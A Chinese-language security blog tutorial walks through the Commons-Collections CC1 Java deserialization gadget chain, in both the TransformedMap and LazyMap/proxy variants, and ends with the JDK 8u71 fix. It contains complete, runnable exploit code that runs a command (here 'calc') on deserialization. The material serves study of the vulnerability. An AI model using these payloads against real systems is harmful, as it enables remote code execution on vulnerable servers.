Java安全-CC1链
环境搭建
创建一个 IDEA 项目,选中 maven,并使用 jdk8u65
maven项目模板选择quickstart

在项目结构->模块修改语言级别

添加 Maven 中对 CC1 链的依赖包
1 2 3 4 5 6
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
使用 maven clean + maven install
- 再说一说如何验证环境导入成功吧,我们 import CC 的包
1
| import org.apache.commons.collections.functors.InvokerTransformer;
|
如果成功说明安装成功了 ~
我们还要做一件事,修改 sun 包
因为我们打开源码,很多地方的文件是 .class 文件,是已经编译完了的文件,都是反编译代码,我们很难读懂,所以需要把它转换为 .java 文件
openJDK 8u65 ———— 去到这个下载链接,点击 zip

将其解压之后,先搁一边,我们解压 jdk8u65 的 src.zip,解压完之后,我们把 openJDK 8u65 解压出来的 sun 文件夹拷贝进 jdk8u65 中,这样子就能把 .class 文件转换为 .java 文件了。
openJDK 8u65 sun文件夹在jdk-af660750b2f4\src\share\classes路径下
拷贝成功后,在IDEA->File->项目结构->SDK->源路径中加入src文件夹

Common-Collections 相关介绍
出自:Apache Commons Collections包和简介 | 闪烁之狐
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
- 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的
Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。
包结构介绍
org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
org.apache.commons.collections.bag – 实现Bag接口的一组类
org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
org.apache.commons.collections.buffer – 实现Buffer接口的一组类
org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
org.apache.commons.collections.list – 实现java.util.List接口的一组类
org.apache.commons.collections.map – 实现Map系列接口的一组类
org.apache.commons.collections.set – 实现Set系列接口的一组类
入口类这里,我们需要一个 readObject 方法,结尾这里需要一个能够命令执行的方法。我们中间通过链子引导过去。所以我们的攻击一定是从尾部出发去寻找头的,流程图如下。

寻找尾部的 exec 方法
我们直接来到cc1链的核心接口transfromer接口
快捷键 ctrl + alt + B,查看实现接口的类

其中InvokerTransformer很突出,因为我们知道方法是 Java 反射机制的核心方法,用于动态调用方法
转到InvokerTransformer类,成功找到了类中存在的一个反射调用任意类,可以作为我们链子的终点

复习一下反射poc
获取.class文件->获取方法->修改作用域(private方法)->invoke执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.example;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;
public class InvokeTransformerTest { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { Runtime runtime = Runtime.getRuntime(); Class c= Runtime.class; Method method = c.getDeclaredMethod("exec",String.class); method.setAccessible(true); method.invoke(runtime,"calc"); } }
|
写String.class的原因
在Java反射中,方法通过 方法名 + 参数类型列表 唯一标识:
| 方法调用 |
对应的exec重载版本 |
getMethod("exec") |
❌ 编译错误(不明确) |
getMethod("exec", String.class) |
exec(String command) |
getMethod("exec", String[].class) |
exec(String[] cmdarray) |
getMethod("exec", String.class, String[].class) |
exec(String command, String[] envp) |
成功弹出计算器

接下来我们构造一个利用 InvokerTransformer 类弹计算器的程序
根据构造方法构造 EXP,因为是 public 的方法,这里无需反射

构造poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package com.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;
public class InvokeTransformerTest { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); invokerTransformer.transform(runtime); } }
|
成功弹出计算器
与一开始使用反射的poc对比,其实就是找到了一个可以直接使用,无需反射的方法
- 注意我们最后一句
invokerTransformer.transform(runtime);
- 所以我们下一步的目标是去找调用
transform 方法的不同名函数
初步寻找链子
右键 –> find usages(查找用法),如果 find usages 这里有问题的话,可以先 Ctrl+Alt+Shift+F7,选择 All place 查询。
一共是有21处用法,需要逐个排查
目的是找到有其他方法调用transfrom,向上寻找入口
如何排查?
- 调用transform方法的类可作为参数传入,可控制(能够使其调用invokerTransformer中的transform方法)
- 能够找到readObject链首
这里找到 TransformedMap 类中存在 checkSetValue() 方法调用了 transform() 方法



看到此方法是public方法,尝试构造poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class decorateCalc { public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer); Class<TransformedMap> transformedMapClass = TransformedMap.class; Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class); checkSetValueMethod.setAccessible(true); checkSetValueMethod.invoke(decorateMap, runtime); } }
|
构造poc的过程:
按照我们分析出的方法从前到后的调用流程 decorate(new TransformedMap)->checkSetValue(调用invokerTransformer的transform方法)
TransformedMap的构造方法是protected类型,所以需要decorate方法来new TransformedMap
这么一看,调用 .decorate 方法就很有必要了,这几句语句是为了运用 .decorate 方法而存在的。
1 2 3 4
| InvokerTransformer invokerTransformer = new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
|
接着,因为 .decorate 方法被调用,我们可以新建 TransformedMap 对象了
1
| Class<TransformedMap> transformedMapClass = TransformedMap.class;
|
再通过反射构造攻击手段
1 2 3
| Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class); checkSetValueMethod.setAccessible(true); checkSetValueMethod.invoke(decorateMap, runtime);
|
成功弹出计算器

完整链子
- 目前找到的链子位于
checkSetValue 当中,去找 .decorate 的链子,发现无法进一步前进了,所以我们回到 checkSetValue 重新找链子,我们要找到readObject方法作为链首
继续 find usages,找到了 parent.checkSetValue(value); 调用了 checkSetValue
我们点进去看,发现这是一个抽象类,是 TransformedMap 的父类。
- 调用
checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry

setValue函数用来更新当前键值对的值,返回旧值,并会同步修改到所属的 Map,在进行Map遍历时,一定会走入setValue方法
这里追踪一下setValue函数


所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue() 当中,而 setValue() 就会调用 checkSetValue
这里可以测试一下,看看遍历Map是否会调用setValue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package com.example;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class setValue01 { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap map = new HashMap(); map.put("calc", "a"); Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer); for (Map.Entry<Object,Object> entry : decorate.entrySet()) { entry.setValue(runtime); } } }
|
顺利弹出计算器

- 到此处,我们的攻击思路出来了,找到一个是数组的入口类,遍历这个数组,并执行
setValue 方法,即可构造 Poc。
一句话概括一下
如何遍历一个Map最终执行 setValue() 方法
如果能找到一个 readObject() 里面调用了 setValue() 就太好了
寻找 readObject() – 链首
- 之前链子是到
setValue 的,所以我们在 setValue 处,查找用法
在AnnotationInvocationHandler.class的readObject方法

先看构造方法(为了实例化这个类)

可以看到有Map类型参数,可以将我们构造好的Map类型参数payload直接传入
但是此方法并不是public,在java中,只要没有写public,作用域便是default,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。
同时关注到能够进入setValue方法需要满足的两个条件

初始框架
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package com.example;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class EXP { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap map = new HashMap(); map.put("calc", "a"); Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Override.class, decorate);
serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
问题一:Runtime类无法序列化
Runtime 是不能序列化的,因为Runtime类没有继承序列化接口 java.io.Serializable
但是 Runtime.class 是可以序列化的,Class类继承了序列化接口,所有.class文件都可以序列化
我们先写一遍普通反射
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;
public class problem01 { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException { Class c = Runtime.class; Method getRuntime = c.getMethod("getRuntime", null); Runtime runtime = (Runtime) getRuntime.invoke(null, null); Method exec = c.getMethod("exec", String.class); exec.invoke(runtime, "calc"); } }
|
接着,我们将这个反射的 Runtime 改造为使用 InvokerTransformer 调用的方式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package com.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method;
public class problem01 { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Class c = Runtime.class; Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c); Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); Object transform = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
} }
|
顺利弹出计算器
稍微理一理可以看到,上方主函数最后三行代码有一个共同点就是:
- 格式都为
new InvokerTransformer().transform()
- 后一个
transform() 方法里的参数都是前一个的结果
从代码的复用性角度来说,我们应当减少这种复用的工作量,于是我们使用 ChainedTransformer 这个类。

ChainedTransformer函数会将传回的数组进行递归调用
ChainedTransformer 类下的 transform 方法递归调用了前一个方法的结果,作为后一个方法的参数。
- 知道了用法之后编写 EXP,先定义一个数组,然后将数组传到
ChainedTransformer 类中,再调用 .transform 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package com.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
public class CEXP { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class); } }
|
成功弹出计算器
将此链与之前的链结合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| package com.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class EXP { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap map = new HashMap(); map.put("calc", "a");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Override.class, transformedMap);
serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
问题二:如何进入setValue方法
此时直接运行EXP是不能弹出计算器的
我们在AnnotationInvocationHandler.java的readObject第一个if处下一个断点进行调试查看

调试时发现并没有走入条件循环,而是直接跳出了
因为判断了memberType为空

所以程序执行都并未走入setValue方法
需要满足条件(传入注解中需要有成员方法,让我们构造Map时可传入对应键值对)
传入注解中需要有成员方法

值是成员类型的实例(成员方法名与传入数组的键相同)
hashMap.put("para1", "para2") 中的 para1 与成员变量相对应
1 2 3
| if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
|
但我们传参时传入的注解并没有成员

我们找到 Target.class ,点进 Target,当中有一个成员变量为 value,所以我们 map.put 也需要修改为 value
此注解有成员方法

修改后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package com.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class EXP { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap(); map.put("value", "aaa");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class, transformedMap);
serialize(o); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
|
我们继续往下跟程序,发现 setValue() 处中的参数并不可控,而是指定了 AnnotationTypeMismatchExceptionProxy 类,是无法进行命令执行的。
我们需要找到一个类,能够可控 setValue 的参数。
问题三:如何控制setValue参数
- 我们这里找到了一个能够解决
setValue 可控参数的类 ———— ConstantTransformer。
这个类完美符合我们的要求,点进去看一看。

发现传入什么,transform方法就会返回什么
利用此类,我们就可以控制transform传入的value值
我们先传入一个 Runtime.class,然后无论 transform() 方法会调用什么对象,都会返回 Runtime.class
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package com.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class EXP { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap(); map.put("value", "aaa");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); Object o = aihConstructor.newInstance(Target.class, transformedMap);
serialize(o); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
|
成功执行

调用链梳理与总结
1 2 3 4 5 6 7 8 9 10
| //利用链 InvokerTransformer#transform TransformedMap#checkSetValue AbstractInputCheckedMapDecorator#setValue AnnotationInvocationHandler#readObject
//辅助链 ChainedTransformer //将三个Transformer组合成链式转换器 ConstantTransformer //使setValue的Value值为Runtime.class开启攻击 HashMap //遍历数组时调用到setValue
|

LazyMap版CC1攻击链分析
寻找链子
- 这条链子的尾部依旧是InvokerTransformer的transform方法,利用其调用exec执行命令
- 与TransformMap版不同的是,我们在
InvokeTransformer 下的 transform 方法,进行 查找用法操作时,选择了LazyMap类

可以看到这个类的get方法调用了transform方法
这个类的构造方法是protected类型,无法直接新建实例
看到熟悉的decorate方法
这里依旧利用decorate方法新建实例

我们构造如下的 EXP,来证明这条链子暂时是可行的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package com.example;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class EXP2 { public static void main(String[] args) throws Exception{ Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class); lazyGetMethod.setAccessible(true); lazyGetMethod.invoke(decorateMap, runtime); } }
|
能够成功弹出计算器继续查找get方法的用法
来到AnnotationInvocationHandler的invoke方法

同时这个类也非常好,它里面有 readObject() 方法,可以作为我们的入口类。
- 现在的关键点在于我们要触发
AnnotationInvocationHandler.invoke()
编写EXP
需要触发 invoke 方法,马上想到动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法。我们去找一找能利用的地方
我们来看一下invoke这个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes();
if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]);
if (paramTypes.length != 0) throw new AssertionError("Too many parameters for an annotation method");
switch(member) { case "toString": return toStringImpl(); case "hashCode": return hashCodeImpl(); case "annotationType": return type; }
Object result = memberValues.get(member);
if (result == null) throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0) result = cloneArray(result);
return result; }
|
寻找是否有无参方法的调用

正好看到readObject中有memberValues调用了entrySet,entrySet是一个无参方法
在这里调用了 entrySet() 方法,也就是说,如果我们将 memberValues 的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用。
关于memberValue和找到的无参方法的理解:
1.memberValues 是什么
在你这段代码里,核心字段是:
1
| Object result = memberValues.get(member);
|
举例:
1 2 3 4
| @interface MyAnno { String name(); int age() default 18; }
|
如果我们写:
1 2
| @MyAnno(name="Tom") class Test {}
|
那么 memberValues 大概长这样:
1 2 3 4
| { "name" -> "Tom", "age" -> 18 }
|
- 无参方法是谁的方法
在注解里,每个“属性”其实就是一个无参方法。
比如:
1 2 3 4
| @interface MyAnno { String value(); int age() default 18; }
|
它在编译后变成接口:
1 2 3 4
| public interface MyAnno extends Annotation { String value(); int age(); }
|
也就是说:
value()、age() 看起来像属性,但本质上是 无参方法。
- 调用
myAnno.value() 的时候,实际上 JVM 是通过 动态代理 调用到你贴的 invoke() 方法。
- 在
invoke() 里,method.getName() 就会得到 "value" 或 "age",然后到 memberValues 里取值。
- 结合起来看
当你写:
1 2
| MyAnno anno = Test.class.getAnnotation(MyAnno.class); System.out.println(anno.value());
|
运行时执行流程是:
anno 其实是一个 Proxy 代理对象。
- 调用
anno.value() → JVM 调用 invoke(proxy, method, null)。
method.getName() = "value"
- 在
memberValues 里查 "value" 对应的值。
- 返回
"Tom"。
总结一句话:
memberValues 存的是 注解属性名 → 值 的映射。
- 注解里的 属性方法(
value(), age() 等)就是那些无参方法。
理解了这个我们就可以开始编写EXP了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| package com.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class EXP3 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o = aihConstructor.newInstance(Override.class, mapProxy);
serialize(o); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
|
顺利弹出计算器

调用链梳理与总结
1 2 3 4
| //利用链 InvokerTransformer#transform LazyMap#get AnnotationInvocationHandler#readObject
|

修复手段
官方这里的推荐修复方法是将 jdk 版本提升至 jdk8u71,我们来看一下为什么官方会推荐这种方法。
对于 TransformerMap 版的 CC1 链子来说,jdk8u71 及以后的版本没有了能调用 ReadObject 中 setValue() 方法的地方。

2. 对于正版 CC1 链子
因为在8u71之后的版本反序列化不再通过defaultReadObject方式,而是通过readFields 来获取几个特定的属性,defaultReadObject 可以恢复对象本身的类属性,比如this.memberValues 就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因

参考
https://www.bilibili.com/video/BV1yP4y1p7N7?t=994.7
https://www.bilibili.com/video/BV1no4y1U7E1?t=2743.1
Java反序列化Commons-Collections篇02-CC1链补充 | Drunkbaby’s Blog
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/